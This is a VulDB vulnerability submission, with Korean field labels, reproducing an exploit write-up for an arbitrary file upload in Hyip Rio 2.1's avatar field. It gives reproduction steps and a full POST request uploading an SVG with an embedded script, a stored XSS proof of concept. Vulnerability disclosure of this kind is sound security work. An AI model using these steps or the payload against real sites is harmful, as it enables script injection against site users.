| 제목 | Hyip Rio 2.1 - Arbitrary File Upload |
|---|
| 설명 | # Exploit Title: Hyip Rio 2.1 - Arbitrary File Upload
# Exploit Author: skalvin aka (CraCkEr)
# Date: 30/07/2023
# Vendor: tdevs
# Vendor Homepage: https://tdevs.co/
# Software Link: https://hyiprio-feature.tdevs.co/
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server
## Description
Allows Attacker to upload malicious files onto the server, such as Stored XSS
## Steps to Reproduce:
1. Login as a [Normal User]
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/user/settings
3. Upload any Image into the [avatar]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]
-----------------------------------------------------------
POST /user/settings/profile-update HTTP/2
Content-Disposition: form-data; name="avatar"; filename="XSS.svg"
Content-Type: image/png
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS by Skalvin");
</script>
</svg>
-----------------------------------------------------------
6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS] or right-click on the Avatar and Copy the Link
8. Access your Uploded Evil file on this Path: https://website/assets/global/images/********************.svg
[-] Done |
|---|
| 사용자 | skalvin (UID 49463) |
|---|
| 제출 | 2023. 07. 30. PM 08:49 (3 연령 ago) |
|---|
| 모더레이션 | 2023. 08. 16. PM 03:03 (17 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 237314 [tdevs Hyip Rio 2.1 Profile Settings /user/settings 아바타 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 17 |
|---|